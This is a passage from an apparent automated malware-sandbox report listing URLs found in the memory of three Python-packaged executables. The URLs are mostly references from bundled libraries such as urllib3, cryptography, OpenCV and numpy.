Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dynamicmap
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/functions
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions__ContentOnlyElement.values_IDDict.itemsnew_elementAssertionErro
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://google.com/
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://google.com/mail/
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://homepages.inf.ed.ac.uk/rbf/HIPR2/hough.htm
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://icl.com/saxon
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://icl.com/saxonfilehrefFound
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://my.ns/
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.1676240467.00000213EE266000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.1676240467.00000213EDB0F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.1676240467.00000213EDB97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.1676240467.00000213EE266000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.1676240467.00000213EDB0F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.1676240467.00000213EDB97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.1676240467.00000213EE266000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.1676240467.00000213EDB0F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.1676240467.00000213EDB97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.1676240467.00000213EE266000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.1676240467.00000213EDB0F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.1676240467.00000213EDB97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://opencv.org/D
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://purl.oclc.org/dsdl/schematron
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://purl.oclc.org/dsdl/schematronhttp://www.ascc.net/xml/schematronFailed
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://relaxng.org/ns/structure/1.0
Source: all.exe, 0000000F.00000003.2983649170.0000014C47561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schema.org/Movie
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/SchematronValidateErrorXMLDTDID(text
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://speleotrove.com/decimal/decarith.html
Source: latest.exe, 0000000B.00000003.2746059983.000001FD570CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://standards.iso.org/ittf/PubliclyAvailableStandards/MPEG-DASH_schema_files/DASH-MPD.xsd
Source: all.exe, 0000000F.00000003.2983649170.0000014C47561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/draft-hixie-thewebsocketprotocol-76
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc6125#section-6.4.3
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://torch.ch
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://torch.ch/)
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://underdestruction.com/2004/02/25/stackblur-2004.
Source: all.exe, 0000000F.00000003.2983649170.0000014C47561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ascc.net/xml/schematron
Source: all.exe, 0000000F.00000003.2983649170.0000014C47561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/iso-time.html
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.dai.ed.ac.uk/CVonline/LOCAL_COPIES/MANDUCHI1/Bilateral_Filtering.html
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.1676240467.00000213EE266000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.1676240467.00000213EDB0F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000000.00000003.1676240467.00000213EDB97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: all.exe, 0000000F.00000003.2983649170.0000014C47561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.firmaprofesional.com/cps0
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.gdal.org)
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.gdal.org/formats_list.html)
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.gdal.org/ogr_formats.html).
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.iana.org/time-zones/repository/tz-link.html
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ipol.im/pub/algo/bcm_non_local_means_denoising
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ipol.im/pub/algo/bcm_non_local_means_denoising/
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jclark.com/xt
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.math.sci.hiroshima-u.ac.jp/m-mat/MT/JUMP/
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pcg-random.org/
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.python.org
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://wwwsearch.sf.net/):
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xmlsoft.org/XSLT/
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xmlsoft.org/XSLT/Reusing
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xmlsoft.org/XSLT/namespace
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xmlsoft.org/XSLT/namespacenode-sethttp://www.jclark.com/xtdebugmaximum
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arxiv.org/abs/1704.04503
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arxiv.org/abs/1805.10941.
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cffi.readthedocs.io/en/latest/using.html#callbacks
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://cryptography.io
Source: client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptography.io/en/latest/faq/#why-can-t-i-import-my-pem-file
Source: all.exe, 0000000F.00000003.2983649170.0000014C47561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://data-apis.org/array-api/latest/API_specification/inspection.html
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc5246#section-7.4.1.4.1
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://docs.python.org/3/howto/mro.html.
Source: client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://docs.python.org/3/library/socket.html#socket.socket.connect_ex
Source: client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/issues/3539
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gist.github.com/imneme/540829265469e673d045
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/NVIDIA/caffe.
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://github.com/Ousret/charset_normalizer
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cisco/openh264/releases
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://github.com/facebook/zstd/blob/dev/lib/zstd.h).
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://github.com/kjd/idna
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/opencv/opencv/issues/23152
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/opencv/opencv/issues/23152.
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/opencv/opencv/issues/23152setExceptionMode(enable)
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/openvinotoolkit/open_model_zoo/blob/master/models/public/yolo-v2-tiny-tf/yolo-v2-
Source: client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://github.com/psf/requests/pull/6710
Source: client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/bcrypt/__version_ex__4.2.0The
Source: client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/issues
Source: client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/issues/8996
Source: client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/issues/9253
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://github.com/python/cpython/issues/86361.
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata/wiki/Development-Methodology
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://github.com/tatsuhiro-t/nghttp2/
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/torch/nn/blob/master/doc/module.md
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2168
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2168uAndrey
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2920
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2920T
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/3020
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/3020aNotOpenSSLWarningaOPENSSL_VERSION_INFOT
Source: client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp, all.exe, 0000000F.00000003.2983649170.0000014C47561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp, all.exe, 0000000F.00000003.2983649170.0000014C47561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail
Source: client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://google.com/mail/
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57E0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://graphics.stanford.edu/~seander/bithacks.html#CountBitsSetParallel
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/
Source: client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://httpbin.org/
Source: client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp, all.exe, 0000000F.00000003.2983649170.0000014C47561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/get
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://httpbin.org/post
Source: client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://httpwg.org/specs/rfc9113.html#n-field-validity)
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://importlib-resources.readthedocs.io/en/latest/using.html#migrating-from-legacy
Source: all.exe, 0000000F.00000003.2983649170.0000014C47561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://json.org
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lxml.de/element_classes.html
Source: latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lxml.de/sax.html
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp, all.exe, 0000000F.00000003.2983649170.0000014C47561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mahler:8092/site-updates.py
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mathworld.wolfram.com/BinomialDistribution.html
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mathworld.wolfram.com/CauchyDistribution.html
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mathworld.wolfram.com/GammaDistribution.html
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mathworld.wolfram.com/HypergeometricDistribution.html
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mathworld.wolfram.com/LaplaceDistribution.html
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mathworld.wolfram.com/LogisticDistribution.html
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mathworld.wolfram.com/NegativeBinomialDistribution.html
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mathworld.wolfram.com/NoncentralF-Distribution.html
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mathworld.wolfram.com/PoissonDistribution.html
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://netron.app)
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683179883.00007FF7CAA6A000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://nuitka.net/info/segfault.html
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683179883.00007FF7CAA6A000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://nuitka.net/info/segfault.htmlfor
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57E0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://numpy.org/devdocs/numpy_2_0_migration_guide.html#adapting-to-changes-in-the-copy-keyword.
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57E0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://numpy.org/devdocs/numpy_2_0_migration_guide.html#adapting-to-changes-in-the-copy-keyword.npy
Source: all.exe, 0000000F.00000003.2983649170.0000014C47561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://numpy.org/devdocs/user/troubleshooting-importerror.html
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://numpy.org/devdocs/user/troubleshooting-importerror.html#c-api-incompatibility
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://numpy.org/doc/stable/reference/random/index.html
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://onnx.ai/
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://onnx.ai/)
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://onnxruntime.ai/docs/execution-providers/CoreML-ExecutionProvider.html#coreml_flag_enable_on_
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://onnxruntime.ai/docs/execution-providers/CoreML-ExecutionProvider.html#coreml_flag_only_enabl
Source: latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://onnxruntime.ai/docs/execution-providers/CoreML-ExecutionProvider.html#coreml_flag_use_cpu_on
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://packaging.python.org/specifications/entry-points/
Source: client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://peps.python.org/pep-0205/
Source: client.exe, 00000000.00000003.1676240467.00000213EDFDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0263/
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57E0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://personal.math.ubc.ca/~cbm/aands/page_67.htm
Source: latest.exe, 0000000B.00000003.2746059983.000001FD57E0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://personal.math.ubc.ca/~cbm/aands/page_69.htm
